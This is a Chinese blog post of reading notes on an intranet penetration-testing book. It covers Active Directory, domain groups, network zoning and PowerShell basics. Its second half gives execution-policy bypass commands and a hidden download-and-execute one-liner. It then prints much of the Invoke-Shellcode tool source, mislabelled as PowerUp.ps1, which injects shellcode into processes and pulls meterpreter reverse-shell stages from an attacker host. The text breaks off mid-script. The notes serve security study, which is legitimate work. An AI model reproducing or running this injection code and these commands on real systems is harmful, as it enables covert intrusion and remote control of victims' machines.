1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

时间:2020-02-08 19:00:07

相关推荐

《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

目录

前言一、内网基础知识1、工作组2、域3、活动目录(1)活动目录的功能(2)DC和AD区别4、安全域的划分(1)DMZ(2)内网5、域中计算机的分类6、域内权限(1)组(2)A-G-DL-P 策略二、主机平台及常用工具1、Windows Powershell的概念(1) .Ps1 文件(2)执行策略(3)运行脚本(4)管道2、Windows Powershell的特点3、Windows Powershell的命令(1)查看Powershell版本(2)基本命令(3)绕过本地权限并执行(4)从网站服务器中下载脚本,绕过本地权限并隐藏执行(5)使用Base64编码对Powershell命令进行编码三、搭建内网环境结语

前言

上来一看已经5个月没上了,在忙活毕业论文的事儿

现在搞定毕业了!是时候开始一波学习

本篇开始阅读学习《内网安全攻防:渗透测试实战指南》,做个笔记

本篇是第一章内网渗透测试基础,基本都是些基础概念和环境搭建

一、内网基础知识

内网,也指局域网(Local Area Network,LAN),是指在某一区域内由多台计算机互联成的计算机组,内网是封闭的

本节是些基础定义和概念

1、工作组

工作组(Work Group)就像一个可以自由进入和退出的社团

可以自由进入和退出,方便同组的计算机互相访问没有集中管理作用,所有计算机都是对等的

2、域

(Domain)是一个有安全边界的计算机集合

安全边界:一个域的用户无法访问另一个域可以简单的把域理解成升级版的工作组,但有一个严格的集中管理控制机制用户访问域内的资源,需要合法身份,且身份决定权限

域控制器(Domain Controller,DC)是域中的管理服务器,相当于一个单位的门禁系统

DC中存在由这个域的账户、密码、属于这个域的计算机等信息构成的数据库DC是整个域的通信枢纽

域环境

单域:地理位置固定,一个域满足需求,一般至少有两台域服务器

父域和子域:管理需求(如不同地理位置)和安全策略的考虑

域树(tree):多个域通过建立信任关系(Trust Relation)组成的集合

域森林(forest):多个域树通过建立信任关系组成的集合

域名服务器(Domain Name Server, DNS):用于实现域名(Domam Name)和与之相对应的IP地址(IP Address)转换的服务器,具体可见一文搞明白DNS与域名解析

3、活动目录

活动目录(Active Directory,AD)是域环境中提供目录服务的组件

存储有关网络对象(如用户、组、计算机、共享资源、打印机和联系人等)的信息帮助用户快速准确的从目录中查找到他所需要的信息的服务逻辑结构:不需要考虑被管理对象的地理位置,只需要按照一定方式将这些对象放置在不同的容器中活动目录数据库(AD库:将层次结构的目录及索引信息存储在数据库中管理层次分明:A集团(域森林) -> 子公司(域树) -> 部门(域) -> 员工

(1)活动目录的功能

AD相当于树干

帐号集中管理:所有帐号均存储在服务器中,以便执行命令和重置密码等软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。增强安全性:统一部署杀毒软件和病毒扫描任务、集中化管理用户的计算机权限、统一制订用户密码策略等。可以监控网络,对资料进行统一管理更可靠,更少的宕机时间:例如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定。网络更可靠,岩机时间更少

(2)DC和AD区别

如果内网中的一台计算机上安装了AD,它就变成了DC(用于存储AD库的计算机)

DC的本质是一台计算机AD的本质是提供目录服务的组件

4、安全域的划分

安全域划分的目的是将一组安全等级相同的计算机划入同一个网段内, 在网络边界上通过防火墙来实现对其他安全域的网络访问控制策略, 使得其风险最小化

一般安全域划分为:DMZ和内网,通过硬件防火墙的不同端口实现隔离,如上图所示

内网:安全级别最高DMZ(Demilitarized Zone 非军事化区):称为隔离区,为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区外网:安全级别最低

(1)DMZ

DMZ通常需要定义如下访问控制策略,以实现其屏障功能:

内网可以访问外网:防火墙需要执行NAT内网可以访问DMZ:内网用户可以使用或者管理DMZ中的服务器外网不能访问内网:如果要访问,得通过VPN的方式来进行外网可以访问DMZ:由防火墙来完成从对外地址到服务器实际地址的转换DMZ不能访问内网DMZ不能访问外网:例外情况如在DMZ中放置了邮件服务器

(2)内网

内网又可以划分为办公区和核心区

办公区会安装防病毒软件、主机入侵检测产品(HIDS)等,运维使用堡垒机(跳板机)来统一管理用户的登陆行为核心区:存储企业最重要的数据、文档等信息资产,通过日志记录、安全审计等安全措施进行严密的保护,往往只有很少的主机能够访问

5、域中计算机的分类

域控制器

存放活动目录数据库,是域中必须要有的管理所有的网络访问,包括登录服务器、访问共享目录和资源存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息

成员服务器

指安装了服务器操作系统并加人了域、但没有安装活动目录的计算机提供网络资源

客户机

安装了其他操作系统的计算机用户利用这些计算机和域中的账户就可以登录域

独立服务器

既不加入域,也不安装活动目录

6、域内权限

(1)组

(Group)是用户账号的集合,通过向一组用户分配权限,就可以不必向每个用户分别分配权限,分域本地组、全局组和通用组。域本地组来自全林,作用于本域;全局组来自本域,作用于全林;通用组来自全林,作用于全林

域本地组(Domain Local Group)

多域用户访问单域资源,可以从任何域添加用户账号、通用组和全局组,但只能在其所在域内指派权限用于授予本域内资源的访问权限

全局组(Global Group)

单域用户访问多域资源(必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组全局组可以嵌套在其他组中举个例子:将用户张三(域帐号Z3)加入到域本地组administrators中,并不能使Z3对非DC的域成员计算机有任何特权;但若加入到全局组Domain Admins中,张三就是域管理员了,可以在全局使用,对域成员计算机是有特权的

通用组(Universal Group)

成员来自域森林中任何域的用户账号、全局组和其他通用组,可以在该域森林的任何或中指派权限可以嵌套在其他组中,非常适合在域森林内的跨域访问中使用

(2)A-G-DL-P 策略

A-G-DL-P 策略:将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限

A表示用户账号(Account)G表示全局组(Global Group)U表示通用组(Universal Group)DL表示域本地组(Domain Local Group)P表示资源权限(Permssion)

在A-G-DL-P策略形成以后,当给一个用户某一个权限的时候,只要把这个用户加入到某一个域本地组就可以了。

举个例子

有两个域,A和B,A中的5个财务人员和B中的3个财务人员都需要访问B中的“FINA”文件夹。这时,可以在B中建一个DL(域本地组),因为DL的成员可以来自所有的域,然后把这8个人都加入这个DL,并把FINA的访问权赋给DL。

这样做的坏处是什么呢?因为DL是在B域中,所以管理权也在B域,如果A域中的5个人变成6个人,那只能A域管理员通知B域管理员,将DL的成员做一下修改,B域的管理员太累了。

这时候,我们改变一下,在A和B域中都各建立一个全局组(G),然后在B域中建立一个DL,把这两个G都加入B域中的DL中,然后把FINA的访问权赋给DL。哈哈,这下两个G组都有权访问FINA文件夹了。是吗?组嵌套造成权限继承嘛!这时候,两个G分布在A和B域中,也就是A和B的管理员都可以自己管理自己的G啦,只要把那5个人和3个人加入G中,就可以了!以后有任何修改,都可以自己做了,不用麻烦B域的管理员!这就是A-G-DL-P。

一些需要注意的组:

常用DL: Administrators(管理员组),最重要的权限; Remote Desktop Users(远程登录组)。

常用G: Domain Admins(域管理员组),最最重要的权限,一般来说域渗透是看重这个; Domain Users(域用户组)。

常见U: Enterprise Admins(企业系统管理员组)、 Schema Admins(架构管理员组),也是最最重要的权限。

二、主机平台及常用工具

这节主要是介绍了些Kali和Win下的常用工具

在这里就记录下Windows Powershell的一些基础知识

1、Windows Powershell的概念

(1) .Ps1 文件

一个PowerShell脚本其实就是—个简单的文本文件,其扩展名为“ps1”

(2)执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略,默认“不能运行”

可以使用下面的cmdlet命令查询当前的执行策略:

Get-ExecutionPolicyRestricted:脚本不能运行(默认设置)RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)A1lSigned:仅当脚本由受信任的发布者签名时才能运行Unrestricted:允许所有脚本运行

命令如下:

Set-ExecutionPolicy <policy name>

(3)运行脚本

在当前目录时,可以使用.\a.ps1,不然就要完整路径

如果是使用Import-Module加载脚本可以使用:

. .\a.ps1

(4)管道

将一个命令的输出作为另—个命令的输人,两个命令之间用|连接

例子:执行如下命令,让所有正在运行的名字以字符“p”开头的程序停止运行

get-process p* | stop-process

2、Windows Powershell的特点

有以下这些特点:

在Wmdow 7以上版本的操作系统中是默认安装的脚本可以在内存中运行,不需要写人磁盘几乎不会触发杀毒软件可以远程执行目前很多工具都是基于PowerShell开发的使Windows脚本的执行变得更容易cmd的运行通常会被阻止,但是PowerShell的运行通常不会被阻止可用于管理活动目录

3、Windows Powershell的命令

(1)查看Powershell版本

Get-Host$PSVersionTable.PSVERSION

(2)基本命令

新建目录:New-Item aaa -ItemType Directory(实际上在5.0版本可以直接通过md)新建文件:New-Item aaa.txt删除目录:Remove-Item aaa.txt 可以直接使用rm显示文件内容:Get-Content 可以直接使用cat设置文本内容:Set-Content aaa.txt -Value "aaa"追加内容:Add-Content aaa.txt -Value "aaa"清除内容:Clear-Content aaa.txt

(3)绕过本地权限并执行

绕过安全策略,在目标服务器本地执行脚本PowerUp.ps1

Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

上传之后执行

powershell.exe -exec bypass -Command "& {Import-module C:\PowerUp.ps1;Invoke-AllChecks}"

(4)从网站服务器中下载脚本,绕过本地权限并隐藏执行

命令如下(此处书中存在空格被吞的情况):

powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("/xxx.ps1");

书中的PowerUp.ps1脚本如下:

function Invoke-Shellcode{<#.SYNOPSISInject shellcode into the process ID of your choosing or within the context of the running PowerShell process.PowerSploit Function: Invoke-ShellcodeAuthor: Matthew Graeber (@mattifestation)License: BSD 3-ClauseRequired Dependencies: NoneOptional Dependencies: None.DESCRIPTIONPortions of this project was based upon syringe.c v1.2 written by Spencer McIntyrePowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary..PARAMETER ProcessIDProcess ID of the process you want to inject shellcode into..PARAMETER ShellcodeSpecifies an optional shellcode passed in as a byte array.PARAMETER ListMetasploitPayloadsLists all of the available Metasploit payloads that Invoke-Shellcode supports.PARAMETER LhostSpecifies the IP address of the attack machine waiting to receive the reverse shell.PARAMETER LportSpecifies the port of the attack machine waiting to receive the reverse shell.PARAMETER PayloadSpecifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported..PARAMETER UserAgentOptionally specifies the user agent to use when using meterpreter http or https payloads.PARAMETER ProxyOptionally specifies whether to utilize the proxy settings on the machine..PARAMETER LegacyOptionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. .PARAMETER ForceInjects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act..EXAMPLEC:\PS> Invoke-Shellcode -ProcessId 4274Description-----------Inject shellcode into process ID 4274..EXAMPLEC:\PS> Invoke-ShellcodeDescription-----------Inject shellcode into the running instance of PowerShell..EXAMPLEC:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle HiddenC:\PS> $Proc = Get-Process notepadC:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -VerboseVERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITMVERBOSE: Injecting shellcode into PID: 4004VERBOSE: Injecting into a Wow64 process.VERBOSE: Using 32-bit shellcode.VERBOSE: Shellcode memory reserved at 0x03BE0000VERBOSE: Emitting 32-bit assembly call stub.VERBOSE: Thread call stub memory reserved at 0x001B0000VERBOSE: Shellcode injection complete!Description-----------Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:Payload options (windows/meterpreter/reverse_https):NameCurrent Setting Required Description------------------- -------- -----------EXITFUNC thread yes Exit technique: seh, thread, process, noneLHOST192.168.30.129 yes The local listener hostnameLPORT443 yes The local listener port.EXAMPLEC:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80Description-----------Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:Payload options (windows/meterpreter/reverse_http):NameCurrent Setting Required Description------------------- -------- -----------EXITFUNC thread yes Exit technique: seh, thread, process, noneLHOST192.168.30.129 yes The local listener hostnameLPORT80yes The local listener port.EXAMPLEC:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)Description-----------Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!.EXAMPLEC:\PS> Invoke-Shellcode -ListMetasploitPayloadsPayloads--------windows/meterpreter/reverse_httpwindows/meterpreter/reverse_https.NOTESUse the '-Verbose' option to print detailed information.Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameterBig thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - /.LINKhttp://www.exploit-#>[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ([ValidateNotNullOrEmpty()][UInt16]$ProcessID,[Parameter( ParameterSetName = 'RunLocal' )][ValidateNotNullOrEmpty()][Byte[]]$Shellcode,[Parameter( ParameterSetName = 'Metasploit' )][ValidateSet( 'windows/meterpreter/reverse_http','windows/meterpreter/reverse_https',IgnoreCase = $True )][String]$Payload = 'windows/meterpreter/reverse_http',[Parameter( ParameterSetName = 'ListPayloads' )][Switch]$ListMetasploitPayloads,[Parameter( Mandatory = $True,ParameterSetName = 'Metasploit' )][ValidateNotNullOrEmpty()][String]$Lhost = '127.0.0.1',[Parameter( Mandatory = $True,ParameterSetName = 'Metasploit' )][ValidateRange( 1,65535 )][Int]$Lport = 8443,[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][String]$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][Switch]$Legacy = $False,[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][Switch]$Proxy = $False,[Switch]$Force = $False)Set-StrictMode -Version 2.0# List all available Metasploit payloads and exit the functionif ($PsCmdlet.ParameterSetName -eq 'ListPayloads'){$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}foreach ($Payload in $AvailablePayloads.ValidValues){New-Object PSObject -Property @{Payloads = $Payload }}Return}if ( $PSBoundParameters['ProcessID'] ){# Ensure a valid process ID was provided# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptiveGet-Process -Id $ProcessID -ErrorAction Stop | Out-Null}function Local:Get-DelegateType{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$Parameters = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$ReturnType = [Void])$Domain = [AppDomain]::CurrentDomain$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)$MethodBuilder.SetImplementationFlags('Runtime, Managed')Write-Output $TypeBuilder.CreateType()}function Local:Get-ProcAddress{Param([OutputType([IntPtr])][Parameter( Position = 0, Mandatory = $True )][String]$Module,[Parameter( Position = 1, Mandatory = $True )][String]$Procedure)# Get a reference to System.dll in the GAC$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')# Get a reference to the GetModuleHandle and GetProcAddress methods$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')# Get a handle to the module specified$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))$tmpPtr = New-Object IntPtr$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)# Return the address of the functionWrite-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payloadfunction Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture){$IntSizePtr = $Architecture / 8function Local:ConvertTo-LittleEndian ([IntPtr] $Address){$LittleEndianByteArray = New-Object Byte[](0)$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object {if ($_) {$LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }[System.Array]::Reverse($LittleEndianByteArray)Write-Output $LittleEndianByteArray}$CallStub = New-Object Byte[](0)if ($IntSizePtr -eq 8){[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode$CallStub += 0xFF,0xD0# CALL RAX$CallStub += 0x6A,0x00# PUSH BYTE 0$CallStub += 0x48,0xB8# MOV QWORD RAX, &ExitThread$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread$CallStub += 0xFF,0xD0# CALL RAX}else{[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode$CallStub += 0xFF,0xD0# CALL EAX$CallStub += 0x6A,0x00# PUSH BYTE 0$CallStub += 0xB8# MOV DWORD EAX, &ExitThread$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread$CallStub += 0xFF,0xD0# CALL EAX}Write-Output $CallStub}function Local:Inject-RemoteShellcode ([Int] $ProcessID){# Open a handle to the process you want to inject into$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)if (!$hProcess){Throw "Unable to open a process handle for PID: $ProcessID"}$IsWow64 = $falseif ($64bitCPU) # Only perform theses checks if CPU is 64-bit{# Determine is the process specified is 32 or 64 bit$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Nullif ((!$IsWow64) -and $PowerShell32bit){Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'}elseif ($IsWow64) # 32-bit Wow64 process{if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'}$Shellcode = $Shellcode32Write-Verbose 'Injecting into a Wow64 process.'Write-Verbose 'Using 32-bit shellcode.'}else # 64-bit process{if ($Shellcode64.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode64 variable!'}$Shellcode = $Shellcode64Write-Verbose 'Using 64-bit shellcode.'}}else # 32-bit CPU{if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'}$Shellcode = $Shellcode32Write-Verbose 'Using 32-bit shellcode.'}# Reserve and commit enough memory in remote process to hold the shellcode$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$RemoteMemAddr){Throw "Unable to allocate shellcode memory in PID: $ProcessID"}Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"# Copy shellcode into the previously allocated memory$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null# Get address of ExitThread function$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThreadif ($IsWow64){# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32Write-Verbose 'Emitting 32-bit assembly call stub.'}else{# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64Write-Verbose 'Emitting 64-bit assembly call stub.'}# Allocate inline assembly stub$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$RemoteStubAddr){Throw "Unable to allocate thread call stub memory in PID: $ProcessID"}Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"# Write 32-bit assembly stub to remote process memory space$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null# Execute shellcode as a remote thread$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)if (!$ThreadHandle){Throw "Unable to launch remote thread in PID: $ProcessID"}# Close process handle$CloseHandle.Invoke($hProcess) | Out-NullWrite-Verbose 'Shellcode injection complete!'}function Local:Inject-LocalShellcode{if ($PowerShell32bit) {if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'return}$Shellcode = $Shellcode32Write-Verbose 'Using 32-bit shellcode.'}else{if ($Shellcode64.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode64 variable!'return}$Shellcode = $Shellcode64Write-Verbose 'Using 64-bit shellcode.'}# Allocate RWX memory for the shellcode$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$BaseAddress){Throw "Unable to allocate shellcode memory in PID: $ProcessID"}Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"# Copy shellcode to RWX buffer[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)# Get address of ExitThread function$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThreadif ($PowerShell32bit){$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32Write-Verbose 'Emitting 32-bit assembly call stub.'}else{$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64Write-Verbose 'Emitting 64-bit assembly call stub.'}# Allocate RWX memory for the thread call stub$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$CallStubAddress){Throw "Unable to allocate thread call stub."}Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"# Copy call stub to RWX buffer[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)# Launch shellcode in it's own thread$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)if (!$ThreadHandle){Throw "Unable to launch thread."}# Wait for shellcode thread to terminate$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)Write-Verbose 'Shellcode injection complete!'}# A valid pointer to IsWow64Process will be returned if CPU is 64-bit$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Processif ($IsWow64ProcessAddr){$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)$64bitCPU = $true}else{$64bitCPU = $false}if ([IntPtr]::Size -eq 4){$PowerShell32bit = $true}else{$PowerShell32bit = $false}if ($PsCmdlet.ParameterSetName -eq 'Metasploit'){if (!$PowerShell32bit) {# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function# Pull out just the content of the this script's invocation.$RootInvocation = $MyInvocation.Line$Response = $Trueif ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?","Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) {}if ( !$Response ){# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit functionReturn}# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.if ($MyInvocation.BoundParameters['Force']){Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"}else{Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"}$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)$EncodedCommand = [Convert]::ToBase64String($CommandBytes)$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"Invoke-Expression -Command $Execute | Out-Null# Exit the script since the shellcode will be running from x86 PowerShellReturn}$Response = $Trueif ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?","About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) {}if ( !$Response ){# User opted not to carry out download of Metasploit payload. Exit functionReturn}switch ($Payload){'windows/meterpreter/reverse_http'{$SSL = ''}'windows/meterpreter/reverse_https'{$SSL = 's'# Accept invalid certificates[.ServicePointManager]::ServerCertificateValidationCallback = {$True}}}if ($Legacy) {# Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"Write-Verbose "Requesting meterpreter payload from $Request"} else {# Generate a URI that passes the test$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}$SumTest = $Falsewhile ($SumTest -eq $False) {$GeneratedUri = $CharArray | Get-Random -Count 4$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)}$RequestUri = -join $GeneratedUri$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" }$Uri = New-Object Uri($Request)$WebClient = New-Object .WebClient$WebClient.Headers.Add('user-agent', "$UserAgent")if ($Proxy){$WebProxyObject = New-Object .WebProxy$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer# if there is no proxy set, then continue without itif ($ProxyAddress) {$WebProxyObject.Address = $ProxyAddress$WebProxyObject.UseDefaultCredentials = $True$WebClientObject.Proxy = $WebProxyObject}}try{[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)}catch{Throw "$($Error[0].Exception.InnerException.InnerException.Message)"}[Byte[]] $Shellcode64 = $Shellcode32}elseif ($PSBoundParameters['Shellcode']){# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.[Byte[]] $Shellcode32 = $Shellcode[Byte[]] $Shellcode64 = $Shellcode32}else{# Pop a calc... or whatever shellcode you decide to place in here# I sincerely hope you trust that this shellcode actually pops a calc...# Insert your shellcode here in the for 0xXX,0xXX,...# 32-bit payload# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread[Byte[]] $Shellcode32 = 